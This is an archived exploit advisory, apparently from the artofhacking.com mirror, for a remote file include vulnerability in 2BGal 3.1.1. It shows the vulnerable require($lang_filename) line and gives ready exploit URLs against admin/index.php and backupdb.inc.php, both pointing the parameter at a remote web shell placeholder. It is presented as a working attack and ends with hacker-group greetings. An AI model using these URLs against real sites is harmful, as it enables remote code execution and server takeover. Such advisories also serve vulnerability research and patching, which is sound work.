AOH :: HP Unsorted Nums :: TB10184.HTM

2BGal 3.1.1 <= (admin/index.php) Remote File Include Vulnerability



2BGal 3.1.1 <= (admin/index.php) Remote File Include Vulnerability
2BGal 3.1.1 <= (admin/index.php) Remote File Include Vulnerability



=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
2BGal 3.1.1 <= (admin/index.php) Remote File Include Vulnerability

Script: 2BGal

Version: 3.1.1

Download: http://www.ben3w.com/multimedia/2bgal.zip 

Discover: BorN To K!LL

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
Bug in:

admin/index.php   &  backupdb.inc.php   ...... and so on >>

Code:

require($lang_filename);

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
ExploiT:
~~~~~

wWw.site.cOm/[path]/admin/index.php?lang_filename=[ BorN-SHell ] 
wWw.site.cOm/[path]/admin/backupdb.inc.php?lang_filename=[ BorN-SHell ] 

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
GreeTz 2:

str0ke  -  Dr.2  -  AsbMay  ....

AsbMay's Group  &  Kuwait Security

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today it's FREE! 
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/ 


The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.